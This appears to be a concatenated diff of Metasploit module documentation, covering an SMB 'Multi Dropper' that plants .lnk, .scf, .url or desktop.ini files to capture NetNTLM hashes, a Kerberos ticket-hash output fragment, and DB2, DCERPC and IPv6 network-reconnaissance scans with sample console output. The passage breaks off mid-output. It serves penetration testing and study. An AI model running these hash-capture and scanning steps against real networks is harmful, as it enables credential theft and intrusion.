[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
|
||||
[+] ------------------------------------------------ ---------- -------------------------------------------------------------------------------- ------------------- -------------------
|
||||
[+] SPN... User... List... DateTime... Time...
|
||||
[+] $krb5tgs$23$*user$realm$test/spn*$<data>
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,99 @@
|
||||
This module dependent on the given filename extension creates either a .lnk, .scf, .url, desktop.ini file which includes a reference to
|
||||
the the specified remote host, causing SMB connections to be initiated from any user that views the file. This allows for NetNTLM hashes to be captured
|
||||
by a listening user.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Microsoft Windows
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/multidrop```
|
||||
4. Customise Options as required
|
||||
5. Do: ```run```
|
||||
6. A file pointing back to the listening host will then be generated.
|
||||
7. Configure auxiliary/server/capture/smb or similar to capture hashes.
|
||||
8. Upload the document to an open share or similar and wait for hashes.
|
||||
|
||||
## Options
|
||||
|
||||
**FILENAME**
|
||||
This option allows you to customise the generated filename and filetpye that is generated.
|
||||
|
||||
To generate desktop.ini configure a filename of desktop.ini
|
||||
To generate a scf file configure a filename of anyname.scf
|
||||
To generate a url file configure a filename of anyname.url
|
||||
To generate a lnk file configure a filename of anyname.lnk
|
||||
|
||||
Filetype generation is based on the file extension.
|
||||
|
||||
**LHOST**
|
||||
This option allows you to set the IP address of the SMB Listener that the document points to
|
||||
This can be changed using set LHOST 192.168.1.25
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Microsoft Windows
|
||||
|
||||
|
||||
```
|
||||
Console output
|
||||
```
|
||||
|
||||
```
|
||||
msf auxiliary(multidrop) > show info
|
||||
|
||||
Name: Windows SMB Multi Dropper
|
||||
Module: auxiliary/multidrop
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
Richard Davy - secureyourit.co.uk
|
||||
Lnk Creation Code by Mubix
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FILENAME test.url yes Filename - supports .lnk, .scf, .url, desktop.ini
|
||||
LHOST 192.168.1.19 yes Host listening for incoming SMB/WebDAV traffic
|
||||
|
||||
Description:
|
||||
This module dependent on the given filename extension creates either
|
||||
a .lnk, .scf, .url, desktop.ini file which includes a reference to
|
||||
the the specified remote host, causing SMB connections to be
|
||||
initiated from any user that views the file.
|
||||
|
||||
References:
|
||||
https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018
|
||||
https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/
|
||||
|
||||
|
||||
msf auxiliary(multidrop) > exploit
|
||||
|
||||
[+] desktop.ini stored at /root/.msf4/local/desktop.ini
|
||||
[] Auxiliary module execution completed
|
||||
msf auxiliary(multidrop) > set filename test.lnk
|
||||
filename => test.lnk
|
||||
msf auxiliary(multidrop) > exploit
|
||||
|
||||
[+] test.lnk stored at /root/.msf4/local/test.lnk
|
||||
[] Auxiliary module execution completed
|
||||
msf auxiliary(multidrop) > set filename test.scf
|
||||
filename => test.scf
|
||||
msf auxiliary(multidrop) > exploit
|
||||
|
||||
[+] test.scf stored at /root/.msf4/local/test.scf
|
||||
[] Auxiliary module execution completed
|
||||
msf auxiliary(multidrop) > set filename test.url
|
||||
filename => test.url
|
||||
msf auxiliary(multidrop) > exploit
|
||||
|
||||
[+] test.url stored at /root/.msf4/local/test.url
|
||||
[] Auxiliary module execution completed
|
||||
msf auxiliary(multidrop) > back
|
||||
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
|
||||
## About
|
||||
|
||||
This module simply queries the DB2 discovery service for information.
|
||||
The discovery service is integrated with the Configuration Assistant and the DB2® administration server.
|
||||
Using the discovery method, catalog information for a remote server can be automatically generated in the local database and node directory.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/db2/discovery`
|
||||
2. `set RHOSTS [target address range/cidr]`
|
||||
3. `set THREDS [number of threads]`
|
||||
4. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
- DB2 `9.07.2` running at a `RHEL 6.9` .
|
||||
```
|
||||
msf auxiliary(scanner/db2/discovery) > set RHOSTS 192.168.1.25
|
||||
msf auxiliary(scanner/db2/discovery) > run
|
||||
|
||||
[+] Host 192.168.1.25 node name is SERVER02 with a product id of SQL09072
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf auxiliary(scanner/db2/discovery) >
|
||||
```
|
||||
* The same output is expected on other versions of DB2, with the correspondent DB2 version at the product ID.
|
||||
- Example: DB2 9.07.2 outputs the product ID `SQL9072`, while DB2 7.02.9 outputs the product ID `SQL7029`.
|
||||
@@ -0,0 +1,117 @@
|
||||
## Description
|
||||
|
||||
The endpoint_mapper module queries the EndPoint Mapper service of a remote system to determine what services are available. In the information gathering stage, this can provide some very valuable information.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/dcerpc/endpoint_mapper```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
### Example Windows 2003, and Windows 7 Targets
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
msf auxiliary(endpoint_mapper) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(endpoint_mapper) > set THREADS 55
|
||||
threads => 55
|
||||
msf auxiliary(endpoint_mapper) > run
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
...snip...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (dhcpcsvc) [DHCP Client LRPC Endpoint]
|
||||
[*] 3473dd4d-2e88-4006-9cba-22570909dd10 v5.0 LRPC (W32TIME_ALT) [WinHttp Auto-Proxy Service]
|
||||
[*] 3473dd4d-2e88-4006-9cba-22570909dd10 v5.0 PIPE (\PIPE\W32TIME_ALT) \\XEN-2K3-BARE [WinHttp Auto-Proxy Service]
|
||||
[*] 906b0ce0-c70b-1067-b317-00dd010662da v1.0 LRPC (LRPC00000408.00000001)
|
||||
[*] 906b0ce0-c70b-1067-b317-00dd010662da v1.0 LRPC (LRPC00000408.00000001)
|
||||
[*] 906b0ce0-c70b-1067-b317-00dd010662da v1.0 LRPC (LRPC00000408.00000001)
|
||||
[*] 906b0ce0-c70b-1067-b317-00dd010662da v1.0 LRPC (LRPC00000408.00000001)
|
||||
[*] Could not connect to the endpoint mapper service
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 PIPE (\PIPE\lsass) \\XEN-2K3-BARE
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 LRPC (audit)
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 LRPC (securityevent)
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 LRPC (protected_storage)
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 PIPE (\PIPE\protected_storage) \\XEN-2K3-BARE
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 LRPC (dsrole)
|
||||
[*] 12345778-1234-abcd-ef00-0123456789ac v1.0 TCP (1025) 192.168.1.204
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 PIPE (\PIPE\lsass) \\XEN-2K3-BARE [IPSec Policy agent endpoint]
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 LRPC (audit) [IPSec Policy agent endpoint]
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 LRPC (securityevent) [IPSec Policy agent endpoint]
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 LRPC (protected_storage) [IPSec Policy agent endpoint]
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 PIPE (\PIPE\protected_storage) \\XEN-2K3-BARE [IPSec Policy agent endpoint]
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 LRPC (dsrole) [IPSec Policy agent endpoint]
|
||||
[*] 12345678-1234-abcd-ef00-0123456789ab v1.0 TCP (1025) 192.168.1.204 [IPSec Policy agent endpoint]
|
||||
[*] 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 LRPC (wzcsvc)
|
||||
[*] 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 LRPC (OLE3B0AF7639CA847BCA879F781582D)
|
||||
[*] 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 PIPE (\PIPE\atsvc) \\XEN-2K3-BARE
|
||||
[*] 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0 LRPC (wzcsvc)
|
||||
[*] 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0 LRPC (OLE3B0AF7639CA847BCA879F781582D)
|
||||
[*] 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0 PIPE (\PIPE\atsvc) \\XEN-2K3-BARE
|
||||
[*] 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0 LRPC (wzcsvc)
|
||||
[*] 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0 LRPC (OLE3B0AF7639CA847BCA879F781582D)
|
||||
[*] 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0 PIPE (\PIPE\atsvc) \\XEN-2K3-BARE
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (DNSResolver) [DHCP Client LRPC Endpoint]
|
||||
[*] d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0 TCP (49152) 192.168.1.202
|
||||
[*] 4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 LRPC (LRPC-71ea8d8164d4fa6391)
|
||||
[*] 76f226c3-ec14-4325-8a99-6a46348418af v1.0 LRPC (WMsgKRpc05FBE22)
|
||||
[*] 12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0 LRPC (WMsgKRpc05FBE22) [Secure Desktop LRPC interface]
|
||||
[*] b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 LRPC (OLE7A8F68570F354B65A0C8D44DCBE0)
|
||||
[*] b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 PIPE (\pipe\trkwks) \\XEN-WIN7-BARE
|
||||
[*] b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 LRPC (trkwks)
|
||||
[*] b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 LRPC (RemoteDevicesLPC_API)
|
||||
[*] b58aa02e-2884-4e97-8176-4ee06d794184 v1.0 LRPC (TSUMRPD_PRINT_DRV_LPC_API)
|
||||
[*] 0767a036-0d22-48aa-ba69-b619480f38cb v1.0 LRPC (OLE7A8F68570F354B65A0C8D44DCBE0) [PcaSvc]
|
||||
[*] 0767a036-0d22-48aa-ba69-b619480f38cb v1.0 PIPE (\pipe\trkwks) \\XEN-WIN7-BARE [PcaSvc]
|
||||
[*] 0767a036-0d22-48aa-ba69-b619480f38cb v1.0 LRPC (trkwks) [PcaSvc]
|
||||
[*] 0767a036-0d22-48aa-ba69-b619480f38cb v1.0 LRPC (RemoteDevicesLPC_API) [PcaSvc]
|
||||
...snip...
|
||||
[*] f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0 LRPC (eventlog) [Event log TCPIP]
|
||||
[*] f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0 PIPE (\pipe\eventlog) \\XEN-WIN7-BARE [Event log TCPIP]
|
||||
[*] f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0 TCP (49153) 192.168.1.202 [Event log TCPIP]
|
||||
[*] 30adc50c-5cbc-46ce-9a0e-91914789e23c v1.0 LRPC (eventlog) [NRP server endpoint]
|
||||
[*] 30adc50c-5cbc-46ce-9a0e-91914789e23c v1.0 PIPE (\pipe\eventlog) \\XEN-WIN7-BARE [NRP server endpoint]
|
||||
[*] 30adc50c-5cbc-46ce-9a0e-91914789e23c v1.0 TCP (49153) 192.168.1.202 [NRP server endpoint]
|
||||
[*] 30adc50c-5cbc-46ce-9a0e-91914789e23c v1.0 LRPC (AudioClientRpc) [NRP server endpoint]
|
||||
[*] 30adc50c-5cbc-46ce-9a0e-91914789e23c v1.0 LRPC (Audiosrv) [NRP server endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (eventlog) [DHCP Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 PIPE (\pipe\eventlog) \\XEN-WIN7-BARE [DHCP Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 TCP (49153) 192.168.1.202 [DHCP Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (AudioClientRpc) [DHCP Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (Audiosrv) [DHCP Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0 LRPC (dhcpcsvc) [DHCP Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 LRPC (eventlog) [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 PIPE (\pipe\eventlog) \\XEN-WIN7-BARE [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 TCP (49153) 192.168.1.202 [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 LRPC (AudioClientRpc) [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 LRPC (Audiosrv) [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 LRPC (dhcpcsvc) [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0 LRPC (dhcpcsvc6) [DHCPv6 Client LRPC Endpoint]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 LRPC (eventlog) [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 PIPE (\pipe\eventlog) \\XEN-WIN7-BARE [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 TCP (49153) 192.168.1.202 [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 LRPC (AudioClientRpc) [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 LRPC (Audiosrv) [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 LRPC (dhcpcsvc) [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 LRPC (dhcpcsvc6) [Security Center]
|
||||
[*] 06bba54a-be05-49f9-b0a0-30f790261023 v1.0 LRPC (OLE7F5D2071B7D4441897C08153F2A2) [Security Center]
|
||||
[*] 76f226c3-ec14-4325-8a99-6a46348418af v1.0 LRPC (WMsgKRpc045EC1)
|
||||
[*] c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0 LRPC (LRPC-af541be9090579589d) [Impl friendly name]
|
||||
[*] 76f226c3-ec14-4325-8a99-6a46348418af v1.0 LRPC (WMsgKRpc0441F0)
|
||||
[*] 76f226c3-ec14-4325-8a99-6a46348418af v1.0 PIPE (\PIPE\InitShutdown) \\XEN-WIN7-BARE
|
||||
[*] 76f226c3-ec14-4325-8a99-6a46348418af v1.0 LRPC (WindowsShutdown)
|
||||
[*] d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0 LRPC (WMsgKRpc0441F0)
|
||||
[*] d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0 PIPE (\PIPE\InitShutdown) \\XEN-WIN7-BARE
|
||||
[*] d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0 LRPC (WindowsShutdown)
|
||||
[*] Could not connect to the endpoint mapper service
|
||||
[*] Scanned 06 of 55 hosts (010% complete)
|
||||
...snip...
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(endpoint_mapper) >
|
||||
```
|
||||
@@ -0,0 +1,62 @@
|
||||
## Description
|
||||
|
||||
The hidden scanner connects to a given range of IP addresses and tries to locate any RPC services that are not listed in the Endpoint Mapper and determines if anonymous access to the service is allowed.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/dcerpc/hidden```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/dcerpc/hidden
|
||||
msf auxiliary(hidden) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(hidden) > set THREADS 55
|
||||
THREADS => 55
|
||||
msf auxiliary(hidden) > run
|
||||
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
...snip...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Connecting to the endpoint mapper service...
|
||||
[*] Could not obtain the endpoint list: DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*] Could not contact the endpoint mapper on 192.168.1.203
|
||||
[*] Could not obtain the endpoint list: DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*] Could not contact the endpoint mapper on 192.168.1.201
|
||||
[*] Could not connect to the endpoint mapper service
|
||||
[*] Could not contact the endpoint mapper on 192.168.1.250
|
||||
[*] Looking for services on 192.168.1.204:1025...
|
||||
[*] HIDDEN: UUID 12345778-1234-abcd-ef00-0123456789ab v0.0
|
||||
[*] Looking for services on 192.168.1.202:49152...
|
||||
[*] CONN BIND CALL ERROR=DCERPC FAULT => nca_s_fault_ndr
|
||||
[*]
|
||||
[*] HIDDEN: UUID c681d488-d850-11d0-8c52-00c04fd90f7e v1.0
|
||||
[*] CONN BIND CALL ERROR=DCERPC FAULT => nca_s_fault_ndr
|
||||
[*]
|
||||
[*] HIDDEN: UUID 11220835-5b26-4d94-ae86-c3e475a809de v1.0
|
||||
[*] CONN BIND ERROR=DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*]
|
||||
[*] HIDDEN: UUID 5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0
|
||||
[*] CONN BIND ERROR=DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*]
|
||||
[*] HIDDEN: UUID 3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0
|
||||
[*] CONN BIND CALL DATA=0000000057000000
|
||||
[*]
|
||||
[*] HIDDEN: UUID 1cbcad78-df0b-4934-b558-87839ea501c9 v0.0
|
||||
[*] CONN BIND ERROR=DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*]
|
||||
[*] HIDDEN: UUID c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0
|
||||
[*] CONN BIND ERROR=DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*]
|
||||
[*] Remote Management Interface Error: The connection timed out (192.168.1.202:49152).
|
||||
...snip...
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(hidden) >
|
||||
```
|
||||
@@ -0,0 +1,87 @@
|
||||
## Description
|
||||
|
||||
The dcerpc/management module scans a range of IP addresses and obtains information from the Remote Management interface of the DCERPC service.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/dcerpc/management```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example Windows 2003, and Windows 7 Targets
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/dcerpc/management
|
||||
msf auxiliary(management) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(management) > set THREADS 55
|
||||
THREADS => 55
|
||||
msf auxiliary(management) > run
|
||||
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*] UUID e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_access_denied
|
||||
[*] Remote Management Interface Error: The connection was refused by the remote host (192.168.1.250:135).
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 1d55b526-c137-46c5-ab79-638f2a68e869 v1.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID b9e79e60-3d52-11ce-aaa1-00006901293f v0.2
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 412f241e-c12a-11ce-abff-0020af6e7a17 v0.2
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 00000136-0000-0000-c000-000000000046 v0.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
[*] UUID 000001a0-0000-0000-c000-000000000046 v0.0
|
||||
[*] Remote Management Interface Error: DCERPC FAULT => nca_s_fault_ndr
|
||||
[*] listening: 00000000
|
||||
[*] killed: 00000005
|
||||
[*] name: 00010000000000000100000000000000d3060000
|
||||
...snip...
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(management) >
|
||||
```
|
||||
@@ -0,0 +1,43 @@
|
||||
## Description
|
||||
|
||||
The dcerpc/tcp_dcerpc_auditor module scans a range of IP addresses to determine what DCERPC services are available over a TCP port.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example Windows 2003, and Windows 7 Targets
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
||||
msf auxiliary(tcp_dcerpc_auditor) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(tcp_dcerpc_auditor) > set THREADS 55
|
||||
THREADS => 55
|
||||
msf auxiliary(tcp_dcerpc_auditor) > run
|
||||
|
||||
The connection was refused by the remote host (192.168.1.250:135).
|
||||
The host (192.168.1.210:135) was unreachable.
|
||||
...snip...
|
||||
The host (192.168.1.200:135) was unreachable.
|
||||
[*] Scanned 38 of 55 hosts (069% complete)
|
||||
...snip...
|
||||
The host (192.168.1.246:135) was unreachable.
|
||||
192.168.1.203 - UUID 99fcfec4-5260-101b-bbcb-00aa0021347a 0.0 OPEN VIA 135 ACCESS GRANTED 00000000000000000000000000000000000000000000000005000000
|
||||
192.168.1.201 - UUID 99fcfec4-5260-101b-bbcb-00aa0021347a 0.0 OPEN VIA 135 ACCESS GRANTED 00000000000000000000000000000000000000000000000005000000
|
||||
192.168.1.204 - UUID 99fcfec4-5260-101b-bbcb-00aa0021347a 0.0 OPEN VIA 135 ACCESS GRANTED 00000000000000000000000000000000000000000000000076070000
|
||||
192.168.1.202 - UUID 99fcfec4-5260-101b-bbcb-00aa0021347a 0.0 OPEN VIA 135 ACCESS GRANTED 00000000000000000000000000000000000000000000000005000000
|
||||
192.168.1.204 - UUID afa8bd80-7d8a-11c9-bef4-08002b102989 1.0 OPEN VIA 135 ACCESS GRANTED 000002000b0000000b00000004000200080002000c0002001000020014000200180002001c0002002000020024000200280002002c0002000883afe11f5dc91191a408002b14a0fa0300000084650a0b0f9ecf11a3cf00805f68cb1b0100010026b5551d37c1c546ab79638f2a68e86901000000e6730ce6f988cf119af10020af6e72f402000000c4fefc9960521b10bbcb00aa0021347a00000000609ee7b9523dce11aaa100006901293f000002001e242f412ac1ce11abff0020af6e7a17000002003601000000000000c0000000000000460000000072eef3c67eced111b71e00c04fc3111a01000000b84a9f4d1c7dcf11861e0020af6e7c5700000000a001000000000000c0000000000000460000000000000000
|
||||
192.168.1.204 - UUID e1af8308-5d1f-11c9-91a4-08002b14a0fa 3.0 OPEN VIA 135 ACCESS GRANTED d8060000
|
||||
[*] Scanned 52 of 55 hosts (094% complete)
|
||||
[*] Scanned 54 of 55 hosts (098% complete)
|
||||
The connection timed out (192.168.1.205:135).
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(tcp_dcerpc_auditor) >
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
## Description
|
||||
|
||||
This auxiliary module probes the local network for IPv6 hosts that respond to Neighbor Solicitations with a link-local address. This module, like the arp_sweep one, will generally only work within the attacking machine’s broadcast domain. It serves the dual-purpose of showing what hosts are online similar to arp_sweep and then performs the IPv6 Neighbor Discovery.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/discovery/ipv6_neighbor```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set SHOST [IP]```
|
||||
4. Do: ```set SMAC [MAC]```
|
||||
5. Do: ```set THREADS [number of threads]```
|
||||
6. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/discovery/ipv6_neighbor
|
||||
msf auxiliary(ipv6_neighbor) > set RHOSTS 192.168.1.2-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(ipv6_neighbor) > set SHOST 192.168.1.101
|
||||
SHOST => 192.168.1.101
|
||||
msf auxiliary(ipv6_neighbor) > set SMAC d6:46:a7:38:15:65
|
||||
SMAC => d6:46:a7:38:15:65
|
||||
msf auxiliary(ipv6_neighbor) > set THREADS 55
|
||||
THREADS => 55
|
||||
msf auxiliary(ipv6_neighbor) > run
|
||||
|
||||
[*] IPv4 Hosts Discovery
|
||||
[*] 192.168.1.10 is alive.
|
||||
[*] 192.168.1.11 is alive.
|
||||
[*] 192.168.1.2 is alive.
|
||||
[*] 192.168.1.69 is alive.
|
||||
[*] 192.168.1.109 is alive.
|
||||
[*] 192.168.1.150 is alive.
|
||||
[*] 192.168.1.61 is alive.
|
||||
[*] 192.168.1.201 is alive.
|
||||
[*] 192.168.1.203 is alive.
|
||||
[*] 192.168.1.205 is alive.
|
||||
[*] 192.168.1.206 is alive.
|
||||
[*] 192.168.1.99 is alive.
|
